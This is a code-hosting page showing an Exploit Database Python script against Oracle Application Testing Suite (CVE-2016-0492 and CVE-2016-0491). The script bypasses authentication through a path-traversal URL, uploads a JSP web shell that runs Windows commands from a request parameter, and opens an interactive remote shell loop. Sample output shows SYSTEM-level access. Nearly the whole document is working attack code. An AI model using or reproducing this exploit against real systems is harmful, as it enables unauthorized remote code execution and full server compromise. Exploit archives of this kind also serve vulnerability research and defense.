PageRenderTime 49ms CodeModel.GetById 21ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/jsp/webapps/39691.py

https://bitbucket.org/DinoRex99/exploit-database
Python | 105 lines | 93 code | 4 blank | 8 comment | 0 complexity | 25b33982e8d82ca5cc530ff6974869e9 MD5 | raw file
Possible License(s): GPL-2.0
  1. # Exploit Title: Oracle Application Testing Suite Authentication Bypass and Arbitrary File Upload Remote Exploit
  2. # Exploit Author: Zhou Yu <504137480@qq.com >
  3. # Vendor Homepage: http://www.oracle.com/
  4. # Software Link: http://www.oracle.com/technetwork/oem/downloads/apptesting-downloads-1983826.html?ssSourceSiteId=otncn
  5. # Version: 12.4.0.2.0
  6. # Tested on: Win7 SP1 32-bit
  7. # CVE : CVE-2016-0492 and CVE-2016-0491
  8. import urllib2
  9. import urllib
  10. ip = '192.168.150.239'
  11. port = 8088
  12. url = "http://" + ip + ":" + str(port)
  13. #bypass authentication
  14. url = url+"/olt/Login.do/../../olt/UploadFileUpload.do"
  15. request = urllib2.Request(url)
  16. webshell_content='''
  17. <%@ page import="java.util.*,java.io.*" %>
  18. <%
  19. if (request.getParameter("{cmd}") != null) {{
  20. Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("{cmd}"));
  21. OutputStream os = p.getOutputStream();
  22. InputStream in = p.getInputStream();
  23. DataInputStream dis = new DataInputStream(in);
  24. String disr = dis.readLine();
  25. while (disr != null) {{
  26. out.println(disr);
  27. disr = dis.readLine();
  28. }}
  29. }}
  30. %>
  31. '''
  32. boundary = "---------------------------7e01e2240a1e"
  33. request.add_header('Content-Type', "multipart/form-data; boundary=" + boundary)
  34. post_data = "--" + boundary + "\r\n"
  35. post_data = post_data + "Content-Disposition: form-data; name=\"storage.extension\"\r\n"
  36. post_data = post_data + "\r\n.jsp\r\n"
  37. post_data = post_data + "--" + boundary + "\r\n"
  38. post_data = post_data + "Content-Disposition: form-data; name=\"fileName1\"\r\n"
  39. post_data = post_data + "\r\nwebshell.jsp\r\n"
  40. post_data = post_data + "--" + boundary + "\r\n"
  41. post_data = post_data + "Content-Disposition: form-data; name=\"fileName2\"\r\n"
  42. post_data = post_data + "\r\n\r\n"
  43. post_data = post_data + "--" + boundary + "\r\n"
  44. post_data = post_data + "Content-Disposition: form-data; name=\"fileName3\"\r\n"
  45. post_data = post_data + "\r\n\r\n"
  46. post_data = post_data + "--" + boundary + "\r\n"
  47. post_data = post_data + "Content-Disposition: form-data; name=\"fileName4\"\r\n"
  48. post_data = post_data + "\r\n\r\n"
  49. post_data = post_data + "--" + boundary + "\r\n"
  50. post_data = post_data + "Content-Disposition: form-data; name=\"fileType\"\r\n"
  51. post_data = post_data + "\r\n*\r\n"
  52. post_data = post_data + "--" + boundary + "\r\n"
  53. post_data = post_data + "Content-Disposition: form-data; name=\"file1\"; filename=\"webshell.jsp\"\r\n"
  54. post_data = post_data + "Content-Type: text/plain\r\n"
  55. post_data = post_data + "\r\n" + webshell_content +"\r\n"
  56. post_data = post_data + "--" + boundary + "\r\n"
  57. post_data = post_data + "Content-Disposition: form-data; name=\"storage.repository\"\r\n"
  58. post_data = post_data + "\r\nDefault\r\n"
  59. post_data = post_data + "--" + boundary + "\r\n"
  60. post_data = post_data + "Content-Disposition: form-data; name=\"storage.workspace\"\r\n"
  61. post_data = post_data + "\r\n.\r\n"
  62. post_data = post_data + "--" + boundary + "\r\n"
  63. post_data = post_data + "Content-Disposition: form-data; name=\"directory\"\r\n"
  64. post_data = post_data + "\r\n" + "../oats\servers\AdminServer\\tmp\_WL_user\oats_ee\\1ryhnd\war\pages" +"\r\n"
  65. post_data = post_data + "--" + boundary + "--"+"\r\n"
  66. try:
  67. request.add_data(post_data)
  68. response = urllib2.urlopen(request)
  69. if response.code == 200 :
  70. print "[+]upload done!"
  71. webshellurl = "http://" + ip + ":" + str(port) + "/olt/pages/webshell.jsp"
  72. print "[+]wait a moment,detecting whether the webshell exists..."
  73. if urllib2.urlopen(webshellurl).code == 200 :
  74. print "[+]upload webshell successfully!"
  75. print "[+]return a cmd shell"
  76. while True:
  77. cmd = raw_input(">>: ")
  78. if cmd == "exit" :
  79. break
  80. print urllib.urlopen(webshellurl+"?{cmd}=" + cmd).read().lstrip()
  81. else:
  82. print "[-]attack fail!"
  83. else:
  84. print "[-]attack fail!"
  85. except Exception as e:
  86. print "[-]attack fail!"
  87. '''
  88. #run the exploit and get a cmd shell
  89. root@kali:~/Desktop# python exploit.py
  90. [+]upload done!
  91. [+]wait a moment,detecting whether the webshell exists...
  92. [+]upload webshell successfully!
  93. [+]return a cmd shell
  94. >>: whoami
  95. nt authority\system
  96. >>: exit
  97. '''